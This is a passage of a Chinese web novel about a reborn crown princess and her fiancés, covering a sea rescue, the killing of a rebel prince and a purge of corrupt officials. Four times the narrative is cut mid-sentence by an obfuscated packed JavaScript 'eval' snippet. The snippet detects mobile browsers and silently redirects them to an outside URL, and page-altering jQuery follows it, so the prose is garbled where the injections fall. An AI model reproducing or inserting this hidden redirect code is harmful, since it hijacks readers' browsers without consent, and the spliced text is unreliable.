东方炽却不欲多说,直接先斩后奏,拉上东方凌飞上战船,立于船头,桀骜锋利的眉眼尽是意气风发。 “凤统领,与其担心我们兄弟二人,不如先担心自己。” “本少教主的未婚妻,本少教主定然会亲自将她安然无恙带回来!” 他嘴唇微翘,带着少年独有的骄傲。 “别忘了,本少教主和阿凌都是六阶武者!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15666057|172981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东方凌将身体藏在东方炽身后,脑海中天人交战许久,终于鼓起勇气探出半个脑袋。 “战船也是我们家的。” 凤染心中一思索,有道理啊,说起来,她们才是蹭船的那个…… 东方炽和东方凌也不是傻子,此行危险,为了能顺利接应君羲,他们二人带了教中半数高手。 “少教主威武!” 凤染能怎么办? 殿下的男人个个不是好惹的,还是让太女殿下处理吧,头疼。 “给炽公子、凌公子以及拜月教诸多义士拿盔甲来。” 分秒必争,以上过程描述多了些,实际上,只不过不到半盏茶功夫。 “等等!本少庄主也要去!” 身后传来马蹄声,他们回头,就看见一个红衣少年郎骑着一匹白马飞驰而来。 他脸色焦急,眼底青黑,看上去是不眠不休赶路所致的疲倦,但他眼神却坚定如铁,亮若繁星。 正是纳兰轻尘! 他终归是不放心,一直派人悄悄打听君羲动向,没想到还真让他探听到了。 拜月教异动,东方炽、东方凌和他一样,同是君羲未过门的未婚夫,只要盯紧他们,就能得到君羲最新动向。 君羲和东方兄弟二人的绯闻在拜月教中传得有鼻子有眼,加上这次,君羲似乎失踪了? 因为拜月教中人在暗暗寻找君羲下落,东方炽和东方凌也多次往返于羽城和南海海岸。 纳兰轻尘坐不住了,君羲很有可能遇上了致命危机,他还等着同君羲在比一场剑,君羲不能死! 所以他抢了马,一路上根本不敢合眼,生怕错过了时机。 好在,他赶上了! 凤轻:得,都是殿下的男人们,这下可算是…… 额,还没来齐全。 殿下还有两个未婚夫郎在北方,她不由得庆幸,还好没全在漾州、绥州,不然,那场面可就“吓人”了。 东方炽和东方凌没拒绝纳兰轻尘,默许他上了战船。 东方炽讥讽一句。 “哼,你最好是别拖后腿。” 纳兰轻尘礼貌一笑,死对头什么的,果然很讨厌。 “少教主放心,本少庄主就算累了一天一夜,照样能打翻你!” 三人可谓是互相看彼此都不顺眼,无声的刀光剑影在三人眉眼间杀来杀去。 风轻目送战船离去,心里替君羲捏了一把汗。 四个男人齐聚一堂,太女殿下该如何应对自如? …… 溟汐带着君羲向她指的方向游了半个时辰,上百艘战船披着金光由远及近映入眼帘。 溟汐心里一喜,是凤染她们! “妻主,援军到了。” 等等…… 欣喜过后,随着他离船原来越近,溟汐漂亮的碧眸危险半眯。 “妻主,你的三个未婚夫郎也都到了呢。” 第89章 原来,她喜欢年下喊姐姐这个调调? 溟汐说这话时,眼底深沉的墨绿色仿若深潭掀起漩涡,气势汹汹。 在百艘战船面前,一尾人鱼显得渺小,可他没有半分退缩的意思。 巧恰君羲现在还处于意识混沌时,溟汐根本不遮掩他锋芒毕露的一面,抱着女人的手臂抱得更紧,身后传来追兵喊打喊杀的声音。 “杀了前面的狗男女,给小姐们报仇雪恨!” “杀,给惨死的姐妹们报仇!” 追杀君羲她们的鲛人红着眼,并肩作战的姐妹们被溟汐砍菜切瓜般杀得稀碎,若不是鲛人的血是蓝色,那大批大批鲛人**的鲜血定然会染红一片海域。 她们这时才后知后觉想起,溟汐身为雄性鲛人却能在鲛人军队中立下赫赫威名,屡次替鲛人族建下奇功。 原来,溟汐战神的名号并不是徒有虚名,更不是鲛人女皇为了给唯一的孩子铺路而虚构的谎言。 加上她们此次追杀君羲师出无名,被女皇抓住了小辫子。 女皇和逃亡的溟汐夫妇形成包夹之势,一个边逃边杀,一个边追边杀。 她们这次损失惨重,积累了百年的势力轰然倒塌,就如同一棵盘根错节的参天大树,如今一夕不慎,就被人全根拔起。 七个族老倾巢而出,如今**得只剩三个。 最开始做抹脖子动作的瘦族老已经像瘦竹竿一样折成两截了。 一个胖模样的族老仰天痛哭,早知会如此,她就该劝阻老姐妹们,不要冲动。 现在好了,当初一起打下鲛人族地的老姐妹们死的死,伤的伤,唯一的后代也被君羲打成了废人! 悔之晚矣。 “哈哈哈……苍天无眼呐!” 那胖子导情绪悲怮到极致,竟然留下血泪。 事已至此,就算拼上她这把老骨头,她也要拉上女皇最宠爱的儿子以及最得意的儿媳陪葬! 她要让溟霜知道,即便胜了她们又如何?到最后还不是孤家寡人一个。 当初被她们逼迫,导致此生挚爱的伴侣抑郁而终。 若她现在能杀了溟汐和君羲,黄泉路上,也有脸面见昔日的好姐妹们。 “**吧!” 那胖族老脸上沟壑纵横,眼神狠厉,犹如九幽地深处的恶鬼,带着不顾一切想要自爆拉上她们呢一同下地狱的决心。 蕴含一百多年深厚内力的鲛珠,在体内疯狂运转,她根本不顾伤势,朝君羲和溟汐靠近。 “妻主,这老不死的想自爆和我们同归于尽,我选送你上战船。” 君羲一把抓住溟汐的手腕,无声摇了摇头。 “阿汐,别以身犯险,你的命比她们金贵数万倍。” 她一路上都是被溟汐好好抱在怀中,就连半点风浪都没受过,在男人怀里休息了两个时辰君羲,此刻又恢复了神勇。 此刻可不是在闺房,她堂堂储君,不能表现得太虚弱。 “阿汐,孤好了。” 溟汐抿唇,还是听话松开了紧紧抱住女人的手。 只是,他的视线总是锲而不舍地追寻女人的身影,心里的燥意更甚。 追兵就在身后虎视眈眈,溟汐强行克制住发热期膨胀的独占欲,一只手紧紧抓住挂在脖颈上的琉璃瓶子。 琉璃瓶子是透明的,里面装了君羲的心头血,是红色。 正巧,君羲脖子上也有一个同款的透明琉璃瓶,里面装的是溟汐的血,是蓝色的。 一红一蓝,代表着她们二人之间深深的羁绊。 君羲仰头,想起溟汐之前说的话,为首最显眼的战船上,果然站着三个各有千秋的美男子。 眉心天生一点朱砂痣,同身上红衣交相辉映的少年剑客——纳兰轻尘。 天使面孔却性格孤僻阴郁的东方凌。 眉眼间桀骜锋利、荷尔蒙十足的阳光美男东方炽。 他们此刻都似笑非笑看着君羲,东方炽一脚踏在船头,俯瞰若浮萍般渺小无依的君羲二人。 看到君羲的第一眼,他心里是生气的。 生气她桃花运太旺盛,不过和弟弟打个架的功夫,人就被整个偷走了。 更生气她展露出来的魅力和温柔让他和弟弟都动了心。 可气到最后,他发现,只要君羲能平安无事,这些翻涌的怒气以及焦急的情绪就都不重要了。 此时行事严峻,那胖族老虽然没什么本事,但百年来占据鲛人族重要位置,练功所需的灵丹妙药不知吃了多少,就算是一头猪这样喂了百年,内力也不容小觑。 东方炽不再犹豫,挥手命令手下放下绳梯,以便君羲二人脱困。 至于那拼死也要杀了君羲的胖族老?不好意思,她们此行装备精良,凤染她们带了火铳。 只要距离够近,猝不及防之下,武功再高的人也会死于非命。 君羲恢复了战场上的冷面威严神色,她一只脚踩在绳梯上,另一只手稳住绳梯的一侧,她朝男人伸手。 “阿汐,走。” 溟汐毫不犹豫将手放在女人手中,只感觉到“唰、唰、唰”三两下飞跃,君羲就带着他上了战船。 刚在甲板上站稳,就感受到了四个夫郎关爱的眼神。 君羲尬笑几声,“哈、哈、哈。” “孤很好,没受伤,也没吃亏。” 东方炽别扭地侧过头,冷哼。 “没事就好。” “下次你再失踪,本少教主可就要揭竿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15666058|172981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而起了。” 东方凌话少得几乎没有,也就在君羲出现在战船甲板上的那一刻,他才鼓起勇气,弱弱喊了一声。 “妻主。” 若不是这一生,妻主暴露了他的存在,船上的人仿佛都将他当成了透明人。 这点正合东方凌意,他只想在一个阴暗的角落,觊觎着阳光,悄悄摸摸地生长。 但唯独在君羲面前,东方凌不想待在孤独的角落里自生自灭,相反,他想将女人的目光全部吸引在他的身上,若是只能看他一个人,那便最好了。 纳兰轻尘本来还有些尬尴,一时冲动骑走了雪月剑庄里最好的宝马,一路上不曾,歇息过一刻…… 难不成真的是为了和君羲承诺好的下一次比试? 他本以为是,直到现在看到了君羲和溟汐甜蜜的互动,一颗心酸酸的难受,纳兰轻尘这才正视内心。 男女之事他只是迟钝,并不代表他不懂,不过是不愿意往男女情爱的方向去想罢了。 他开口暴击。 “姐姐,我们来接应你了。” 君羲:…… 真的很会火上浇油! 溟汐、东方炽和东方凌眼神带着一言难尽的以为。 原来,君羲最喜欢听他/他/他在床笫上喊姐姐,不过是因为她就喜欢年下这个调调。 坏妻主到底让多少人喊过她姐姐? 眼神嗖嗖地往君羲身上射,君羲好想逃,原来,这就是多了一个人的四人修罗场的感觉。 好在,追兵拯救了她的尴尬。 “不好!他要炸船!” 东方炽笑得风淡云轻,一切都在他的把控范围之内,他悠悠地伸出手,手下便恭敬地将一把装填好**的火铳放在他的手上。 他右脚踩在船头的船舷上,左脚落在甲板上作为支撑。 左手手持火铳,手肘落在左腿上,他唇角的笑是那么的肆意张扬。 东方炽单闭上一只眼,瞄准、扣动**,**发射。 砰! 近距离下,**击中胖鲛人族老眉心,蓝色的血雾在空中炸开,她的头,差点就没了。 凭着一鼓作气的杀意,想要追杀君羲二人的鲛人见状,眼底深处满是惊疑不定。 这是什么武器? 好厉害,好可怕! 胖族老可是有百年内力,放弃了自身生命,一心想要同归于尽,居然轻飘飘的就被这么杀掉了? 他们甚至没有看清楚,胖族老是**掉的,就从她后脑壳上看见了一个血肉模糊的圆形孔。 人的恐惧往往来自于未知。 此时此刻的她们便被那把火铳吓破了胆子,根本不敢越雷池半步。 可惜…… 第91章 杀伐果断,君凌身死 四个美男反应各不相同,溟汐不明真相,所以心里有些怀疑。 东方炽目睹君羲宁愿**焚身也要把沈长卿扔进千羽湖溺死,他是在场中人里,最早知道君羲绝对不喜欢沈长卿的人。 东方凌则是单纯觉得以君羲挑剔的选夫郎眼光,根本看不上沈长卿。 纳兰轻尘则是脑袋缺根弦,君羲说误会那就肯定是误会。 君羲决定不在这个问题上就纠结,日久见人心,时间久了,他们自然会知道,她对沈长卿只有厌恶、杀心。 至于为什么现在不料理君凌和沈长卿? 她只是恶趣味想欣赏一下狗咬狗、一嘴**的好戏罢了。 另外,上一世沈长卿不是自诩和君明月两心相悦吗? 君羲想等,等沈长卿和君凌完成婚礼,看看沈长卿嘴里对他情深一片、守身如玉的高洁“明月”是否会如她所想。 据宫中眼线探查,她这位好妹妹,见人说人话,见鬼说鬼话,上一世用在沈长卿身上的套路,居然是早早就用在了柳如风身上。 君明月和柳如风甚至还有了孩子,女儿给母亲戴绿帽。 啧啧,真是精彩极了。 君眸中异彩连连,她有些迫不及待想回京收拾君明月了。 君凌不知君羲想法,她这个人唯我独尊,沈长卿屡次拒绝让她心里怒火更甚。 不顾还有女侍奴仆在场,撕扯沈长卿身上的衣服,看着他凄惨可怜的模样,听着他绝望的呼救,君凌更加兴奋。 “荡夫!” 再看下去就要不可言说了,君羲怕污了溟汐他们的眼睛。 “咳,皇妹好兴致,孤祝贺皇妹娶得美娇郎。” 君凌差点以为自己幻听了,在她的府邸,怎么可能听到君羲的声音? 随手丢下沈长卿,就像丢弃一块脏抹布,任由他瘫软在地上,血和泪沾湿地面。 沈长卿很绝望,他刚刚真的以为自己要**,还是最**的死法。 可笑的是他脑海中浮现的居然是上一世君羲“欺辱”他的画面,和君凌比起来,君羲的那些举动,根本算不得欺辱。 君羲只不过是不爱他,冷眼旁观罢了。 君凌刚刚的禽兽之举,让沈长卿心有余悸,侧脸贴在地上,双眸含着泪,导致君羲的身影在他眼中变得有些模糊。 沈长卿突然很委屈,嘶哑着嗓音质问。 “陛下,你不是说最爱我吗?” 君凌的举动给沈长卿带来的冲击力太大,他几乎混淆了两世记忆。 “为什么不救侍身?你为什么来得这么迟啊……呜呜……” 君羲确认了,沈长卿重生了。 真是可笑,上一世背叛她的是他。 将她所有的真心宠爱、弃如敝履的也是他。 甚至在她濒死之际,同杀害她的幕后主使一起到她面前趾高气扬的也是他。 君羲从来不欠沈长卿。 她不过是将上一世对他的偏爱,尽数收回而已,他有什么资格委屈? 皇贵夫不是口口声声,她的爱虚伪,她的宠令他恶心吗? 现在这番做派又是为何? 简直让人笑掉大牙! 君羲内力传音一句,“咎由自取。” 然后就冷漠别开头,同身侧夫郎们说说笑笑。 “怎么可能喜欢他?他生得这般丑,看一眼都觉得恶心。” “姐姐的眼睛没出问题呢,沈长卿的确是一个货真价实的虚伪小人。” 君凌怒不可遏,君羲怎么敢的? 就这么正大光明的站在喜堂外面,水灵灵出现在她面前? 这里可不是玉京城,而是安王府! 也太不把她放在眼里了! 果然,无论过了多久,君羲还是这般自负,让人生厌。 “太女殿下何时到的绥州?怎的不跟本王知会一声,本王也好给皇姐接风洗尘。” 想当初,君羲和君凌一同在太学求学之时,都是文武百官,天下百姓心中的储君人选。 可惜,君凌败了。 所以,她现在坐在轮椅上,无论心里面多么不愿意,也只能仰视君羲。 君凌心里就仿佛有上百条毒蛇在缠绕撕咬,眼神就像淬了毒一样。 “绥州不比玉京城所在乾州繁华,若是有招待不周之处,还请太女殿下多多包涵。” 君凌笑得一脸和善,就像之前她们二人之间惨烈的争斗从未存在过,她的心里也从不曾怨恨过君羲一样。 大军压境,在她从南海归来之前,凤羽已经率兵将绥州、漾州两个大洲的所有官员府邸全都围了。 其中,重点便是安王府。 天时地利人和,优势全然在君羲。 君羲根本不想和敌人虚以委蛇,绝对的**下,任何魑魅魍魉都会无所遁形! “君凌,你心里怕是早就恨毒了孤吧?” 君羲觉得优势在她,想打开天窗说亮话。 但君凌只想蛰伏,认为现在还不到时候,所以不想撕开表面的和平,仍旧在装。 “怎么会呢,你可是本皇最崇拜的皇姐。” 君羲唇角勾起一抹讥讽笑意。 “哦?是打断你双腿,将你流放至偏远之地的崇拜吗?” 她眉梢挑起,眼里是毫不掩饰的恶意,拉长尾音刻意唤她。 “皇妹。” 君凌险些破防,笑得和善的脸上陡然僵硬,差点控制不住露出一抹狰狞。 她干巴巴说了一句,半低下的头看着十分无害。 “皇姐说笑了。” 垂在轮椅两侧的手却是疯狂比手势,君凌心中愤怒不满至极,她不过成一个亲,手底下的人便都懒散了?使唤不动了? 她都召唤手下这么久了,居然没有一个人出来…… 殊不知她的一举一动,就像一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15666060|172981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个跳梁小丑,尽数被君羲看在眼里。 君羲等君凌快要气急败坏之时,悠悠补刀。 “皇妹在找人?” 她没骨头似的倚在溟汐身上,拍了下手掌。 凤羽一手提着一个君凌豢养的私兵,她身后跟着排列整齐的凤羽军,每个人手中都压着一个安王府的人。 其中,杨素衣赫然在列。 此刻她不复青衣谋士的潇洒从容,眼底布满血丝,绝望地朝着君凌拼命摇头。 凤羽也很会来事,单膝跪下,当场剜君凌的心。 “太女殿下,属下幸不辱命,所有逆贼全部在此,请太女殿下发落。” “凤羽将军辛苦了,快快请起。” 君凌目眦欲裂,什么时候…… 君羲到底什么时候将安王府控制住的?她怎么全然不知? 就像五年前,她也不知为何会败在君羲手中一样。 五年前一败,她丢了储君之位。 五年后再败,难不成她便要在此丢了这条命吗? 君凌已然成了光杆司令,偌大的安王府,只有她和沈长卿,没有被凤羽军抓起来控制住。 可她一点都不想死! 死亡的威胁下,君凌什么也不顾了,挣扎着从轮轮椅上摔下来,手脚并用朝君羲的方向爬过去。 身上染了灰尘,姿态狼狈也全然不顾。 君凌此生最恨的人便是君羲,让她在君羲面前露出屈服、狼狈的一面比杀了她还难受。 但,君凌为了保住性命,不得不屈服,她只能在心中不断地说服自己。 留得青山在,不怕没柴烧。 只要没死,她就还有东山再起的机会。 一时的**算不得什么,迟早有一日,她要将今日的**成千上万倍地从君羲身上讨回来。 君羲冷眼看君凌像丧家之犬一般狼狈不堪爬行。 五年前,碍于太皇太后的面子,君羲已经破例放了君凌一命。 只要凌此生在绥州安安分分做她的安王,荣华富贵一生不是问题。 可她偏偏同君明月合谋,想杀了她…… 君羲对想要自己性命的人,从不会心慈手软。 “没用的,皇妹。” 君凌心里一颤,茫然仰头看向君羲,眼底怨恨的神色还来不及收回。 君羲在说什么,什么没用? 其实君凌的心里多少有了猜测,但人在对自己不利的环境下,都想自欺欺人。 君凌也不例外,她不愿意往最坏的方面去想。 “皇姐,以前在太学读书时,我俩的感情最好,你都忘了吗?就算你都忘了,那太皇……” 就算把语数放到最快,君凌也来不及说完剩下的话了。 君羲站直身体,慵懒的神色变得肃杀,拔出腰间软剑,寒光一闪,君凌的脖子上就出现了一道血线。 “嗬、嗬……太……后……” 第92章 纳兰轻尘的喜欢,像清风吹拂 君凌还想用太皇太后压君羲,但她没想到,君羲根本不给她废话的机会。 她手起剑落,君临这条蛰伏在大凰王朝偏远之地的毒蛇**。 杨素衣瞪大双眼,王爷**,就这么**…… 都怪她,当初为什么没有劝阻王爷,若不是君凌鬼迷心窍和君明月合作,君羲根本不会想到杀了她。 杨素衣疯了。 可惜,在场的君羲等人,无一人在意。 君羲蹙眉,软剑在君凌身上擦拭。 “安王勾结倭寇,已然浮诛!” 凤羽心领神会,大手一挥。 “凤羽军听令,安王君凌罔顾太女隆恩,暗中勾结倭寇,祸害百姓,死有余辜。” “安王府中必然有大量安王同倭寇勾结的证据,给本将军搜!” 命令一下,训练有素的凤羽军便将安王府围得跟铁桶一样。 唯独打开了安王府大门,大量安王伙同两州高级官员,勾结倭寇,**百姓的证据全都被丢在安王府门口,激起了民愤。 若是暗月在这里,一定会在心里再次感慨,太女殿下又长进了。 瞧瞧这事儿办得多漂亮,既杀了安王,又让天下百姓心服口服,这就叫做—— 师出有名,民心所归! 每一封同倭寇来往的信件以及同两州高级官员分赃**的账本,都是两州百姓受的欺压,流的血泪。 君羲此行,杀了君凌,太皇太后就算知晓,也无话可说。 除非,太皇太后不想做了,为了君凌,愿意失去一切尊荣。 在任何一个朝代,勾结外贼祸害祖国百姓,都死不足惜,天下百姓只会拍手称快。 盘踞在绥州的毒瘤,安王,就此被拔出。 君羲心里松了一口气,总算不辜负她不辞**御驾亲征。 解决完安王,就能治理好受其荼毒的绥州、漾州。 绥州、漾州都治理好了,治理好大凰王朝还会远吗? “妻主,杨素衣怎么处置?” 是溟汐,君羲回过神,她可没忘记正是杨素衣埋伏才让溟汐险些丧命。 “阿汐想如何处置她?” 溟汐浅笑。 “侍身想如何处置她?妻主便会如何处置她吗?” 君羲点头,一脸纵容。 “嗯。” 溟汐笑得更漂亮了,他伸手环上君羲的腰。 “借妻主软剑一用?” “都依你。” 溟汐得了君羲许可,抽出君羲腰间软剑,一步一步走向被凤羽军压着跪在地上的杨素衣。 “你可以上路了。” 唰—— 血液飞溅,溟汐拿出一张雪白的帕子,仔细擦拭软件上的鲜红血迹。 杨素衣疯了又如何?关他什么事? 溟汐只知道,任何试图伤害他心爱之人的人,都是敌人。 对待敌人仁慈,便是对待自己残忍,他可不会这么愚蠢。 将软剑一丝不苟,擦得干干净净,溟汐才将软剑还给君羲。 君羲诧异,溟汐好细心。 “阿汐,你怎么知道……” 溟汐将女人圈在怀中,下巴搁在女人发顶,餍足地眯起双眼。 “羲羲,用心即可。” 他对君羲,一向用心。 东方炽:…… 东方凌:…… 纳兰轻尘:“真不愧是鲛人兄!义气!” 东方凌和东方炽闻言,眼神不约而同落在纳兰轻尘身上,突然觉得…… 纳兰轻尘是个二傻子怎么办? 或许把纳兰轻尘是做死对头……是对他们的一种侮辱,怎么会有人心大成这个样子啊? 他难道没看出,溟汐眼底赤裸裸的炫耀和得意吗? 兄弟二人摇摇头,齐齐叹了声气。 纳兰轻尘莫名其妙,问道:“你们二人这是怎么了?唉声叹气的,现在的局势难道不是全在殿下的掌控之中吗?” 东方凌:傻子。 东方炽:好笨。 溟汐眼神一眯,纳兰轻尘倒是难得的心思单纯,比起八百个心眼子在身上的东方两兄弟,他更喜欢和纳兰轻尘这种不谙世事的小公子相处。 溟汐轻笑出声。 “纳兰公子说得对,眼下优势在我方,必须要一鼓作气,将绥州、漾州一举拿下。” 溟汐了解君羲,攘外必先安内。 要想解救被安王等人卖给倭寇的百姓,必须先将漾州、绥州的内患处理干净,才能有余力远征倭寇。 君羲心里的确有些担心被倭寇掳走的子民,但是要一件一件做,饭要一口一口吃。 她知道,此事必须得有万全之策,断然不能操之过急。 “阿汐,现在鲛人族已经肃清七位族老势力,你可愿意助孤一臂之力?” 溟汐眼神亮晶晶,他终于被妻主委以重任了! 他胸前还挂着殿下的心头血! 妻主还说过,爱他。 溟汐想起这些甜蜜,发情期的不安燥意全都被安抚。 “羲羲,你之所愿,便是我之所愿。” “鲛人溟汐,永远不会拒绝羲羲。” 君羲眼底柔情似水,这就是被一个人全心全意爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15666061|172981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着的感觉吗? 真是…… 让她上瘾呢。 君羲单手勾住溟汐脖子,趁着男人顺从低头的瞬间,亲了上去。 她说:“临别吻。” 溟汐眼底柔成一片,心里也软成一片。 好喜欢羲羲~ 事不宜迟,溟汐告别君羲,就要回鲛人族,替君羲打探倭寇所在,周围地形等。 直到视线尽头,再也没有溟汐身影,君惜才收回视线。 她在心里默默道:阿汐,一路顺风,孤等你平安归来。 东方凌和东方炽眼底苦涩,原来君羲真正全心全意爱上一个人时是这般美好的模样,让人心驰神往。 纳兰轻尘心中也有触动,他本就承认对君羲有些喜欢。 江湖儿女快意恩仇,喜欢就是喜欢,父亲和母亲也教导过他,喜欢便要勇敢去追求,不要给人生留下遗憾。 所以,纳兰轻尘的喜欢,就像是一缕清风,温柔地在君羲周围吹拂。 他并不强势,无论君羲在意或是不在意,都在那里。 少年剑客慕强,首次春心萌动的对象,便是打败他的君羲。 “殿下,可需要雪月剑庄帮忙?” 纳兰轻尘古道热肠,以往行走江湖时,遇到不平事,也会挺身而出。 但,纵使雪月剑庄已是江湖正道第一势力,终归比不上一国之力。 纳兰轻尘很想为两州百姓做点什么。 君羲自然不会放过一切免费劳动力,更何况,雪月剑庄还不是普通的劳动力,雪月剑庄都出手相助了,其余正道势力还会袖手旁观吗? 君羲心情很好的点点头,心中暗道:果然,远离恶毒男人,她的世界全是晴天。 上一世,为她而死的九个夫郎,旺她! “纳兰,若有难处,不必为难。” 纳兰轻尘明白,君羲这是需要雪月剑庄帮忙,而且,她好贴心,居然还在替他着想,怕他为难。 果然,传言不可尽信。 君羲才不是什么**呢,她是温柔的储君。 安王府其余被抓起来的人,只要是被迫入伍或真心投诚的,君羲都放了。 但,她也不想放虎归山,所以,最好的办法就是以工代赈。 让这些人忙起来,娶夫生子,安稳下来,自然就不会有反叛之心了。 这也是帝王之道。 社会安稳,能少叛乱。 “太女殿下,这些人全都发配去修缮城防了,接下来?” 君羲眸色一厉,下达命令。 “随孤杀贪官,定民心!” 第93章 三个未婚夫争抢侍寝权 凤羽军不愧大凰第一军之名,在君羲下达命令之前,就已经将所有涉事官员全部绑到了一块儿。 漾州和绥州接壤处有一座城池,名为浩然城,君羲特意将执刑地点选在了此地。 希望,此次血洗两州官场后,浩然正气能长存百姓心中。 她会给漾州、绥州乃至天下百姓活下去的希望。 “诶,听说了没?太女殿下亲临浩然城,准备给百姓做主,肃清官场呢!” “你这算什么消息,我还知道,太女殿下已经同进犯大凰海岸的倭寇打了一仗,准备摸清情况后就解救被困的父老乡亲们呢!” “太女殿下广邀两州百姓前去浩然城观看贪官污吏伏法,反正我要去,有没有一起的啊?我们做个伴。” “你疯了!那可是太女殿下……” “你才疯了,眼见为实,耳听为虚,知不知道?” “不能因为传言就否定太女殿下,总要亲眼看看才能知道大凰的未来帝王能否将大凰治理得风调雨顺。” “……” 君羲派托将事情传扬出去,就是要两州百姓归心。 这么多年来,漾州和绥州百姓深受贪官污吏压迫,心里肯定有怨气。 治水之道,堵不如疏。 治人之道,亦是如此。 君羲身骑高头大马,特意披上了华而不实的红色披风。 她长相本就自带三分英气,此刻墨发高速成马尾,绣着金色暗纹的红色披风披于身后,被风吹得猎猎作响。 银甲**,气势非凡。 擒贼先擒王,安王伏诛后,凤羽军接管漾州、绥州两州城防顺利得不可思议。 君羲的残暴对两州百姓而言,只存在传言之中,并未亲身体会过,但安王及其党羽的残忍压迫却让她们刻骨铭心。 所以,别说反抗了,她们就差举旗欢迎了。 浩然城,前来观看行刑的百姓自发夹道欢迎。 她们也是第一次见大凰太女,只觉得太女不愧是太女,天生天潢贵胄,一身气势让他们不自觉臣服。 “那就是太女殿下?” “简直就是人中龙凤!” “太女殿下好帅啊……” 在两州百姓面前顺利露了回脸,君羲脸都快绷僵了,好在一切顺利。 她回了浩然城城主府,城主已经被凤羽军抓起来了,其余男眷幼童全都被软禁在城主府中某偏僻小院。 君羲刚一回来,翻身下马后,做的第一件事便是长长吐了一口气。 对她而言,在百姓面前展示储君威仪,比和敌军打一仗还累。 好在有三个贴心未婚夫郎接风洗尘,早早便按照君羲喜好重新收拾好城主府主院。 东方炽和东方凌同时迎了上来,哥哥替君羲解下披风,弟弟给君羲拂去铠甲上的灰尘。 君羲闭眼,张着双臂任由兄弟二人动作,突然察觉到有一道视线紧紧锁在她身上,睁开眼一看—— 纳兰轻尘。 少年剑客眉目如画,眉心一点朱砂痣仍旧同第一次见面时一样惹眼。 他双手拿剑环胸,神色不明地落在君羲三人身上…… 那眼神很奇怪,这么说呢…… 君羲认为,非要去形容此刻纳兰轻尘的眼神,可以归结为好奇、探究、以及想要学习一二。 君羲忽然有些不自在了,审判两州官员的日子是明日,今晚需要在城主府休息一晚。 等兄弟二人收拾完,君羲抬手握拳抵在唇边,轻声咳了一下。 “咳,天色已晚,大家也忙碌了数日,想必也都乏了,都先下去休息吧。” 东方炽第一个响应君羲。 “殿下呢?” 掌控两州城防,剿灭安余孽,安抚惶惶不可终日的百姓…… 说起来容易,做起来却难,其中很多事情很繁琐。 这些天,君羲几乎事必躬亲,忙得脚不沾地。 东方炽将这一切都要看在眼里,不过短短三日时间,君羲看上去便疲惫了许多,东方炽是真的有些心疼君羲。 “我房中准备好了安神香,不如殿下去我屋中歇息一晚?” 东方凌眼神唰一下就变了,他说怎么大早上的,哥哥便去教中传神医制作了有助于睡眠安神的安神香,原来是在这里等着呢。 真是狡猾呢。 不过上一次,就是因为他和东方炽起了内讧,才让溟汐有机可乘。 所以,这一次,东方凌就算心中有些愤愤,也没说出口。 反正,哥哥的院子就是他的院子。 等殿下去了东方炽房中,他也可以分得一席之地。 东方炽和东方凌两兄在溟汐出现后,迅速达成了一致对外,共同争抢君羲宠爱的决定。 他们二人想得也开,君羲是大凰太女,以后的九五至尊。 身边不可能只有一人,既如此,与其他们兄弟二人争得你死我活便宜了外人,不如团结在一起,凭借双生子的优势抢占君羲心里的一席之地。 于是,东方凌垂眸,眼神不着痕迹从纳兰轻尘身上一扫而过,帮着东方炽劝君羲。 “姐姐,你辛苦了整整三天,也该好好休息一下了,明日还有一场硬仗要打呢。” 见君羲没有回话,东方炽再接再厉,伸手心疼抚过女人疲惫的眉眼。 “殿下,去休息一下?” 君羲心里一突一突地跳,若她没记错,前不久,他们兄弟二人还打了一架,现在怎么一唱一和的,总感觉有阴谋…… 不是君羲多疑,是她对东方炽、东方凌的性格有所了解,独占是他们的本人,现在都愿意共享她了? 君羲原本以为要他们兄弟二人打成共享意愿还需要很长一段时间,没想到,她不过被溟汐掳去南海深处一趟回来,情况就发生了逆转。 “那……” 纳兰轻尘忽然发现,君羲的几个夫郎都是又争又抢,若是他在不温不火下去,说不定,君羲身边的位置就会少他一个。 虽然对不住曾今自己“一生一世一双人”的憧憬,但,纳兰轻尘此时此刻,只想遵循自己的内心。 江湖儿女,敢爱敢恨。 